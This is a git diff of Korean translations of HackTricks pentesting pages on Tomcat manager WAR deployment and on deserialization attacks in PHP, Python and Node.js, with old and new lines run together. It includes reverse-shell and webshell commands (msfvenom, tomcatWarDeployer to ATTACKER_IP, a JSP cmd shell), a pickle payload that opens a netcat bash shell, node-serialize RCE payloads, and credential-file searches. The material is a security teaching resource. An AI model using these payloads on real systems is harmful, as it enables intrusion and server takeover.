마지막으로, Tomcat 웹 응용 프로그램 관리자에 액세스할 수 있다면 **.war 파일을 업로드하고 배포(코드 실행)**할 수 있습니다. 마지막으로, Tomcat 웹 애플리케이션 관리에 접근할 수 있다면 **.war 파일을 업로드하고 배포할 수 있습니다 (코드 실행)**.
### 제한 사항 ### Limitations
WAR를 배포하려면 **충분한 권한**(역할: **admin**, **manager**, **manager-script**)이 있어야 합니다. 이러한 세부 정보는 일반적으로 `/usr/share/tomcat9/etc/tomcat-users.xml`에 정의된 _tomcat-users.xml_에서 찾을 수 있습니다(버전에 따라 다름) (자세한 내용은 [POST ](./#post)섹션 참조). **충분한 권한**(역할: **admin**, **manager****manager-script**)이 있는 경우에만 WAR를 배포할 수 있습니다. 이러한 세부정보는 일반적으로 `/usr/share/tomcat9/etc/tomcat-users.xml`에 정의된 _tomcat-users.xml_에서 찾을 수 있습니다 (버전마다 다를 수 있음) (자세한 내용은 [POST ](./#post)section).
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -131,7 +138,7 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
# undeploy # undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
``` ```
### Metasploit ### 메타스플로잇
```bash ```bash
use exploit/multi/http/tomcat_mgr_upload use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP> msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -146,17 +153,17 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
2. `revshell.war` 파일을 업로드하고 접근하기 (`/revshell/`): 2. `revshell.war` 파일을 업로드하고 접근합니다 (`/revshell/`):
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)를 사용하여 바인드 및 역쉘 설정 ### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)로 바인드 및 리버스 셸
일부 시나리오에서는 작동하지 않을 수 있습니다 (예: sun의 이전 버전) 일부 시나리오에서는 이 방법이 작동하지 않습니다 (예: 구버전의 sun)
#### 다운로드 #### 다운로드
```bash ```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git git clone https://github.com/mgeeky/tomcatWarDeployer.git
``` ```
#### 역쉘 #### 리버스 셸
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
@ -168,9 +175,9 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash ```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
``` ```
### 수동 방법 - 웹 ### 수동 방법 - 웹
다음 [콘텐츠](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)로 **index.jsp**를 생성하세요: **index.jsp**를 이 [내용](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)으로 생성합니다:
```java ```java
<FORM METHOD=GET ACTION='index.jsp'> <FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text> <INPUT name='cmd' type=text>
@ -201,9 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
이것을 설치할 수도 있습니다 (업로드, 다운로드 및 명령 실행을 허용합니다): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### 수동 방법 2 ### 수동 방법 2
[JSP 웹 쉘](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)을 가져와 WAR 파일을 생성합니다: [이것](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)와 같은 JSP 웹 셸을 가져와 WAR 파일을 만드세요:
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -216,7 +225,7 @@ Tomcat 자격 증명 파일의 이름은 _tomcat-users.xml_입니다.
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
다른 Tomcat 자격 증명을 수집하는 방법: Tomcat 자격 증명을 수집하는 다른 방법:
```bash ```bash
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
@ -225,7 +234,7 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## 참고 자료 ## 참고문헌
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
@ -236,14 +245,17 @@ msf> use post/windows/gather/enum_tomcat
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 히어로까지 AWS 해킹 배우기</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사에서 일하시나요? 귀하의 회사가 HackTricks에서 광고되길 원하시나요? 또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**hacktricks repo**](https://github.com/carlospolop/hacktricks) 및 [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)로 PR을 제출하여 해킹 트릭을 공유하세요.**
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# 역직렬화 # Deserialization
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**로 **AWS 해킹**을 배우세요!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## Basic Information
**직렬화**는 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해됩니다. 객체를 저장하거나 통신 프로세스의 일부로 전송하기 위한 목적으로 사용됩니다. 이 기술은 객체가 나중에 재생성될 수 있도록 보장하기 위해 일반적으로 사용됩니다. **Serialization**은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
**역직렬화**는 직렬화의 반대 과정입니다. 특정 형식으로 구조화된 데이터를 가져와 객체로 다시 구성하는 과정을 포함합니다. **Deserialization**은 반대로 직렬화에 반하는 과정입니다. 이는 특정 형식으로 구조화된 데이터를 가져와 다시 객체로 재구성하는 것을 포함합니다.
역직렬화는 잠재적으로 **공격자가 직렬화된 데이터를 조작하여 해로운 코드를 실행**하거나 객체 재구성 프로세스 중에 응용 프로그램에서 예기치 않은 동작을 유발할 수 있기 때문에 위험할 수 있습니다. Deserialization은 **공격자가 직렬화된 데이터를 조작하여 해로운 코드를 실행하거나 객체 재구성 과정에서 애플리케이션의 예기치 않은 동작을 유발할 수 있기 때문에 위험할 수 있습니다.**
## PHP ## PHP
PHP에서는 직렬화 및 역직렬화 프로세스 중에 특정 매직 메서드가 사용됩니다: PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가 사용됩니다:
* `__sleep`: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화해야 하는 객체의 모든 속성 이름으로 구성된 배열을 반환해야 합니다. 보통 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다. * `__sleep`: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화되어야 할 객체의 모든 속성 이름의 배열을 반환해야 합니다. 일반적으로 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.
* `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 직렬화 중에 손실된 데이터베이스 연결을 다시 설정하고 다른 초기화 작업을 수행하는 데 사용됩니다. * `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다.
* `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신에 호출됩니다(존재하는 경우). `__wakeup`에 비해 역직렬화 프로세스에 대해 더 많은 제어를 제공합니다. * `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신 호출됩니다(존재하는 경우). 이는 `__wakeup`에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다.
* `__destruct`: 객체가 소멸되거나 스크립트가 종료될 때 호출됩니다. 주로 파일 핸들을 닫거나 데이터베이스 연결을 종료하는 등의 정리 작업에 사용됩니다. * `__destruct`: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다.
* `__toString`: 이 메서드는 객체를 문자열로 처리할 수 있게 합니다. 파일을 읽거나 해당 함수 호출에 기반한 기타 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 제공합니다. * `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다.
```php ```php
<?php <?php
class test { class test {
@ -86,10 +87,10 @@ This is a test<br />
*/ */
?> ?>
``` ```
만약 결과를 살펴보면 객체가 역직렬화될 때 함수 **`__wakeup`**과 **`__destruct`**가 호출된다는 것을 알 수 있습니다. 여러 튜토리얼에서는 어떤 속성을 출력하려고 할 때 **`__toString`** 함수가 호출된다고 설명되어 있지만, 현재는 그렇지 않은 것으로 보입니다. 결과를 보면 객체가 역직렬화될 때 **`__wakeup`** 및 **`__destruct`** 함수가 호출되는 것을 알 수 있습니다. 여러 튜토리얼에서 **`__toString`** 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 **더 이상 그렇지 않은 것 같습니다**.
{% hint style="warning" %} {% hint style="warning" %}
클래스에 구현된 경우 **`__unserialize(array $data)`** 메소드가 **`__wakeup()` 대신 호출**됩니다. 이 메소드를 사용하여 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있습니다. 이 메소드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다. 클래스에 구현된 경우 **`__unserialize(array $data)`** 메서드가 **`__wakeup()`** 대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.
```php ```php
class MyClass { class MyClass {
private $property; private $property;
@ -102,19 +103,19 @@ $this->property = $data['property'];
``` ```
{% endhint %} {% endhint %}
**PHP 예제를 여기에서 설명을 볼 수 있습니다**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) 여기에서 설명된 **PHP 예제**를 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes ### PHP Deserial + Autoload Classes
PHP autoload 기능을 악용하여 임의의 php 파일 및 기타 파일을 로드할 수 있습니다: PHP 자동 로드 기능을 악용하여 임의의 php 파일을 로드하고 더 많은 작업을 수행할 수 있습니다:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} {% content-ref url="php-deserialization-+-autoload-classes.md" %}
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md) [php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
{% endcontent-ref %} {% endcontent-ref %}
### 참조 값 직렬화 ### 참조 값 직렬화
어떤 이유로든 값이 다른 값으로 직렬화된 **참조로 직렬화**하려면: 어떤 이유로든 **다른 직렬화된 값에 대한 참조**로 값을 직렬화하고 싶다면 다음과 같이 할 수 있습니다:
```php ```php
<?php <?php
class AClass { class AClass {
@ -129,14 +130,14 @@ $ser=serialize($o);
``` ```
### PHPGGC (ysoserial for PHP) ### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc)은 PHP 직렬화를 악용하기 위한 payload를 생성하는 데 도움이 될 수 있습니다.\ [**PHPGGC**](https://github.com/ambionics/phpggc)는 PHP 역직렬화를 악용하기 위한 페이로드를 생성하는 데 도움을 줄 수 있습니다.\
여러 경우에는 응용 프로그램의 소스 코드에서 직렬화를 악용할 방법을 찾을 수 없을 수 있지만 **외부 PHP 확장 프로그램의 코드를 악용할 수도 있습니다.**\ 응용 프로그램의 소스 코드에서 역직렬화를 악용할 방법을 **찾을 수 없는 경우가 많다는 점에 유의하세요**. 그러나 **외부 PHP 확장 코드**를 **악용할 수 있을지도 모릅니다.**\
따라서 가능하다면 서버의 `phpinfo()`를 확인하고 **인터넷에서** (또는 **PHPGGC의 가젯**에서) 악용할 수 있는 가능한 가젯을 찾아보세요. 따라서 가능하다면 서버의 `phpinfo()`를 확인하고 **인터넷에서 검색**(심지어 **PHPGGC의 가젯**에서도)하여 악용할 수 있는 가능한 가젯을 찾아보세요.
### phar:// 메타데이터 직렬화 ### phar:// 메타데이터 직렬화
파일을 읽고 그 안에 있는 PHP 코드를 실행하지 않는 LFI를 발견했다면, 예를 들어 _**file\_get\_contents(), fopen(), file() 또는 file\_exists(), md5\_file(), filemtime() 또는 filesize()**_와 같은 함수를 사용하는 경우입니다. **파일**을 **읽을 때** 발생하는 **직렬화**를 악용해 볼 수 있습니다.\ 파일을 읽기만 하고 그 안의 PHP 코드를 실행하지 않는 LFI를 찾았다면, 예를 들어 _**file\_get\_contents(), fopen(), file() 또는 file\_exists(), md5\_file(), filemtime() 또는 filesize()**_**와 같은 함수를 사용하는 경우**. **phar** 프로토콜을 사용하여 **파일**을 **읽을 때** 발생하는 **역직렬화**를 악용해 볼 수 있습니다.\
자세한 정보는 다음 게시물을 참조하세요: 자세한 내용은 다음 게시물을 읽어보세요:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} {% content-ref url="../file-inclusion/phar-deserialization.md" %}
[phar-deserialization.md](../file-inclusion/phar-deserialization.md) [phar-deserialization.md](../file-inclusion/phar-deserialization.md)
@ -146,8 +147,8 @@ $ser=serialize($o);
### **Pickle** ### **Pickle**
객체가 unpickle되면 함수 _\_\_reduce\_\__가 실행됩니다.\ 객체가 언픽클될 때, 함수 _\_\_reduce\_\__가 실행됩니다.\
악용되면 서버가 오류를 반환할 수 있습니다. 악용될 경우, 서버는 오류를 반환할 수 있습니다.
```python ```python
import pickle, os, base64 import pickle, os, base64
class P(object): class P(object):
@ -155,7 +156,7 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P()))) print(base64.b64encode(pickle.dumps(P())))
``` ```
더 많은 정보를 얻으려면 **pickle jails**에서 탈출하는 방법을 확인하세요: For more information about escaping from **pickle jails** check:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -163,7 +164,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle ### Yaml **&** jsonpickle
다음 페이지는 **yamls** 파이썬 라이브러리에서의 안전하지 않은 역직렬화를 악용하는 기술을 소개하며, **Pickle, PyYAML, jsonpickle 및 ruamel.yaml**에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다: 다음 페이지는 **YAML에서 안전하지 않은 역직렬화를 악용하는 기술**을 소개하고 **Pickle, PyYAML, jsonpickle 및 ruamel.yaml**에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:
{% content-ref url="python-yaml-deserialization.md" %} {% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md](python-yaml-deserialization.md) [python-yaml-deserialization.md](python-yaml-deserialization.md)
@ -179,10 +180,10 @@ print(base64.b64encode(pickle.dumps(P())))
### JS Magic Functions ### JS Magic Functions
JS에는 객체를 생성할 때 실행되는 PHP 또는 Python과 같은 **"매직" 함수**가 없습니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않도 자주 사용되는 함수**가 있습니다.\ JS **는 PHP나 Python처럼 객체를 생성하기 위해 실행되는 "마법" 함수**가 없습니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않도 자주 사용되는 함수**가 있습니다.\
역직렬화를 악용하면 이러한 함수를 **타협**하여 다른 코드를 실행할 수 있습니다(잠재적으로 프로토타입 오염을 악용할 수 있음). 호출될 때 임의의 코드를 실행할 수 있습니다. 역직렬화를 악용하면 **이 함수들을 손상시켜 다른 코드를 실행**할 수 있으며 (프로토타입 오염을 악용할 가능성) 호출될 때 임의의 코드를 실행할 수 있습니다.
직접 호출하지 않고도 함수를 호출하는 **또 다른 "매직" 방법**은 **비동기 함수** (프로미스)에서 반환된 객체를 **타협**하는 것입니다. 왜냐하면, 그 **반환 객체**를 다른 **프로미스**로 **변환**하고 **함수 유형의 "then" 속성**을 가진 **프로미스**로 만들면, 다른 프로미스에 의해 반환되었기 때문에 실행될 것입니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 참조하세요._ 함수를 직접 호출하지 않고 **"마법" 방식으로 호출하는 또 다른 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **손상시키는 것**입니다. 왜냐하면, 그 **반환 객체**를 **"then"이라는 함수형 속성**을 가진 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되기 때문에 **실행됩니다**. _자세한 내용은_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 참조하세요._
```javascript ```javascript
// If you can compromise p (returned object) to be a promise // If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function: // it will be executed just because it's the return object of an async function:
@ -208,7 +209,7 @@ test_then()
``` ```
### `__proto__``prototype` 오염 ### `__proto__``prototype` 오염
이 기술에 대해 알고 싶다면 **다음 튜토리얼을 확인하십시오**: 이 기술에 대해 배우고 싶다면 **다음 튜토리얼을 확인하세요**:
{% content-ref url="nodejs-proto-prototype-pollution/" %} {% content-ref url="nodejs-proto-prototype-pollution/" %}
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/) [nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
@ -216,7 +217,7 @@ test_then()
### [node-serialize](https://www.npmjs.com/package/node-serialize) ### [node-serialize](https://www.npmjs.com/package/node-serialize)
이 라이브러리는 함수를 직렬화할 수 있습니다. 예시: 이 라이브러리는 함수를 직렬화할 수 있게 해줍니다. 예:
```javascript ```javascript
var y = { var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}, "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
@ -225,41 +226,42 @@ var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y); var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized); console.log("Serialized: \n" + payload_serialized);
``` ```
**직렬화된 객체**는 다음과 같이 보일 것입니다: The **serialised object** will looks like:
**직렬화된 객체**는 다음과 같이 보입니다:
```bash ```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
``` ```
예제에서 함수가 직렬화될 때 `_$$ND_FUNC$$_` 플래그가 직렬화된 객체에 추가된다는 것을 볼 수 있습니다. You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
`node-serialize/lib/serialize.js` 파일 내부에서 동일한 플래그와 코드가 사용되는 방법을 찾을 수 있습니다. Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
![](<../../.gitbook/assets/image (351).png>) ![](<../../.gitbook/assets/image (351).png>)
![](<../../.gitbook/assets/image (446).png>) ![](<../../.gitbook/assets/image (446).png>)
마지막 코드 청크에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 내에서 사용**됩니다. As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**.
그러나 **함수를 단순히 직렬화**하는 것만으로는 실행되지 않습니다. 예를 들어 코드의 일부가 **`y.rce`를 호출**해야 하며, 이는 매우 **가능성이 낮습니다**.\ However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\
어쨌든, 직렬화된 객체를 **수정하여 괄호를 추가**하여 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\ Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\
다음 코드 청크에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방법을 주목하세요: In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code:
```javascript ```javascript
var serialize = require('node-serialize'); var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}; var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test); serialize.unserialize(test);
``` ```
위에서 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 `eval`을 사용하여 **실행**합니다. 따라서 **코드를 자동으로 실행**하기 위해 함수 생성 부분과 마지막 괄호를 **삭제**하고 다음 예시와 같이 **JS 원라이너를 실행**할 수 있습니다: 이전에 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행합니다** `eval`을 사용하여. 따라서 **코드를 자동으로 실행**하기 위해서는 **함수 생성** 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너를 실행**하면 됩니다:
```javascript ```javascript
var serialize = require('node-serialize'); var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}'; var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test); serialize.unserialize(test);
``` ```
다음에서 이 취약점을 어떻게 악용하는지에 대한 **추가 정보**를 찾을 수 있습니다: [**여기에서 찾을 수 있습니다**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) 여기에서 이 취약점을 악용하는 방법에 대한 [**추가 정보**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)를 찾을 수 있습니다.
### [funcster](https://www.npmjs.com/package/funcster) ### [funcster](https://www.npmjs.com/package/funcster)
**funcster**의 주목할만한 측면은 **표준 내장 객체에 대한 접근 불가능**; 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체의 메서드를 호출하려는 코드 실행이 방지되어 `console.log()` 또는 `require(something)`과 같은 명령을 사용할 때 `"ReferenceError: console is not defined"` 같은 예외가 발생합니다. **funcster**의 주목할 만한 점은 **표준 내장 객체**의 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()``require(something)`와 같은 명령어를 사용할 때 `"ReferenceError: console is not defined"` 같은 예외가 발생합니다.
